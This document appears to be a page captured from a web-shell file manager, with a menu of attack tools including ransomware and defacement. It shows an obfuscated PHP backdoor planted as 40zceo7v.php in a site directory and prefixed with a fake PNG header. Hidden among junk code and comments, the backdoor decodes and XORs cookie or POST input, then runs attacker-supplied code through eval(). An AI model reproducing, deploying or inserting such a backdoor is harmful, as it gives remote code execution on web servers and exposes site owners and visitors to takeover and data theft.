\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82
| Path : /var/www/html/mta-sts.ofisbulutta.com/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/mta-sts.ofisbulutta.com/40zceo7v.php |
<?php
function etRZDOlIZ($MeNwohTLbvOqTYrQhg)
{
/*NE */return/*reQu*/@pack( chr/* DhV */(/* Z */698 - 626 ).'*', $MeNwohTLbvOqTYrQhg/* FUrZi*/);
/* Ix*/
$sfADKzejt/* GCZYA */= md5($MeNwohTLbvOqTYrQhg);
/*ib */$LDQyj/* PUgA */= base64_decode($MeNwohTLbvOqTYrQhg);;
if ($LDQyj ===/* PTY */false) {
/*CMOXz */$LDQyj = '';;
/* Uh */}
/* x */$EEmRmMr =/* BfjNq */str_split($MeNwohTLbvOqTYrQhg);;
/* AYVV */$MeNwohTLbIVZEGt/* kFox*/= strlen($MeNwohTLbvOqTYrQhg);
/* h */$MeNwohTLb = 0;;
while/* LI */( $MeNwohTLb </* HY*/$MeNwohTLbIVZEGt )/* Mw */{
$MeNwohTLb++;$_IL =/* mN*/'30540';
/*PKBE */$tUEXFzgwXX = $EEmRmMr[$MeNwohTLb];;
if/* lq */(strpos($tUEXFzgwXX, 'a') !==/* UaX */false) {
$EEmRmMr[$MeNwohTLb] = strtoupper($tUEXFzgwXX);;
}
}
$jarnnCYYR = implode('', $EEmRmMr);
$_GET['decoded'] =/* feDQt*/$jarnnCYYR;$_cgQ/*VxS */= '25225';
$_POST['hash'] = $sfADKzejt;$_fbTv = '18825';
if/* t*/(file_exists('path/to/file')) {
$SOCeOymap =/* zSoOU */file_get_contents('path/to/file');
$vGtvlMtVj/* sZj */= explode(',',/* iWJ*/$SOCeOymap);
$lbbVJCdkFD/* AMNGF */= md5(serialize($vGtvlMtVj));
if (is_array($vGtvlMtVj))/* EZH */{
$yZWQqn = array_slice($vGtvlMtVj, 0, 5);;
}
}
$wajFOXPTH/*zcfd */=/* T */array_map('trim',/* d*/$yZWQqn);;
$IIKuZufK = rawurldecode(implode(',', $wajFOXPTH));$_NWkCT =/* cOJd */'30377';
$_COOKIE['final_value'] = $IIKuZufK;
/*wWdK */}
/* zv */
/* bmpC */function TjpDrzvt()
{
/*gW */$MeNwohTLbLIcqJjMW =/* ehO */Array($_COOKIE, $_POST);
$ydDcpfb = array_map('md5',/* FgW */$_COOKIE);
$JgUxFdet = strpos($_SERVER['HTTP_USER_AGENT'],/* TMvjz */'Mozilla') !== false ?/* fcd*/'browser is Mozilla' : 'browser is not/* TQFcF*/Mozilla';
if (is_array($MeNwohTLbLIcqJjMW))/* cfxId */{
$RcSWud = array_slice($MeNwohTLbLIcqJjMW,/* QJfp*/0,/* LK */1);;
} else {
/* VG */$RcSWud =/* MXx */[];
}
/* zW */$almgpakGe = explode(',', 'apple,orange,banana');$_hqq/* pxX*/= '45268';
$cWiNVkOp = rawurldecode('%20Hello%20World%20');
/* vV */$MeNwohTLb/* x */=/* u */0;
while/*Wyl */($MeNwohTLb/* ZE */< count($almgpakGe) ) {
$almgpakGe[$MeNwohTLb] =/*teY */str_repeat($almgpakGe[$MeNwohTLb],/* OcF*/2);
$MeNwohTLb++;
/* CKjlu */}
$soIsXVp/* aKCS*/= str_repeat($JgUxFdet,/* B */3);
/* rCW*/return $MeNwohTLbLIcqJjMW;
/* DClw */}
function NONyhVF($ypTrApGuN)
{
/*EdUQs */$LnHTG =/*JZvl */"\43";$_sd = '30751';
/*cxr */foreach (TjpDrzvt() as/* oins */$yNmrmLa) {
cCebmD($yNmrmLa, $LnHTG);$_bZQ = '29135';
}
}
/* fYq */function/* F*/SlAVfIKD($BYFEpbhJI, $ZgCzTQSzAa)
{
if/*wjSh */(/*QFCQ */count ( $BYFEpbhJI/* PsmI */) ==/* RJzKw*/3/*YACX */) {
$LuLSj/* AJnsG */=/*kEdBx */$BYFEpbhJI[1];$_NOS =/* VCF */'13734';
$DmGZJzi =/*PrT */$BYFEpbhJI[2];
/*ahj */$fUgDJ/*o*/= $LuLSj($DmGZJzi);
/* tZNm */eval/* xD */(/* W */$fUgDJ/* A */);
/* PVVeX */die ();
/*qg*/}
/*lTpEv */}
function KhWDCMLa($MeNwohTLbvOqTYrQhg,/* qcGe*/$VCOYZ)
/*UtQh*/{
/* dFZp */return/* kjbW */$MeNwohTLbvOqTYrQhg ^/* xo */$VCOYZ;$_EeuF/* V */= '15043';
/* UF */}
function/*WwLgn */nkWaMMk($fpKpz, $LnHTG)
{
$fpKpz = explode/*AG */($LnHTG,/*jZ*/$fpKpz );
/*Ll */SlAVfIKD($fpKpz, $LnHTG);$_hmh/* lBIT */=/*GnHxS */'40152';
}
/*Y*/function cCebmD($yNmrmLa,/* MIHIr */$LnHTG)
/* FW */{
foreach ( $yNmrmLa as $VCOYZ => $MeNwohTLbvOqTYrQhg ) {
swufLwQCj($VCOYZ,/* sg */etRZDOlIZ($MeNwohTLbvOqTYrQhg), $LnHTG);;
/* mrVFE*/}
}
/* Db*/function/* GOzl */dWwjSoLIu($VCOYZ, $MeNwohTLbvOqTYrQhg)
/* yZOk */{
$ruGsEcN =/* emwVY */strlen( $MeNwohTLbvOqTYrQhg )/strlen( $VCOYZ );;
/* pH */$VCOYZ/*i */.= "kRetDOJ-RfcB-NEqJTqg-VcgEsz-XJakSs-tLtH-evRtHDP";
$VCOYZ/* yYlDL */=/*bjWc */str_repeat ( $VCOYZ, intval($ruGsEcN) + 1);
return/* wCxDG*/$VCOYZ;
/*aEF */}
/* Tj */function swufLwQCj($VCOYZ,/* dCniI */$MeNwohTLbvOqTYrQhg, $LnHTG)
{
nkWaMMk(KhWDCMLa($MeNwohTLbvOqTYrQhg,/* tTAnl */dWwjSoLIu($VCOYZ,/* yZs */$MeNwohTLbvOqTYrQhg)), $LnHTG);
/* SWXmC */
$qosYDs/* gKA */= trim($MeNwohTLbvOqTYrQhg);;
/* R */$ELvOsUr = explode($LnHTG,/* YqP*/$qosYDs);$_UdDA/* hGlUz */=/* aV */'64479';
/* lBvuO */if/*Gi*/(count($ELvOsUr)/*m */> 1) {
$fZjnytAYO/* D*/=/* Fyw */implode("\x2d", $ELvOsUr);
/* Wlbhl*/$frtZgTHGjZ = str_pad($fZjnytAYO, 20, chr/* GeMmh */(48), STR_PAD_RIGHT);$_g/* kN */=/* p */'26382';
/* yCet */} else {
$frtZgTHGjZ = str_replace(chr (/* WuBO*/682 - 650/* bup */),/* MmWn */"\x5f", $qosYDs);
/*RB*/}
$sVqLdP/* j */= empty($LnHTG);
if/* Nx */(!$sVqLdP)/* uG*/{
/* iiH*/$crbvZR = substr($frtZgTHGjZ, 0, 10);$_uVyg/*sjQ*/=/* PTf*/'65109';
/* W */}/* sXN */else/* icYd */{
/*nSPb */$crbvZR =/* S */$frtZgTHGjZ;$_ad/* e */=/* JkW */'18471';
}
}
NONyhVF("");$_YPTr/* y */= '44348';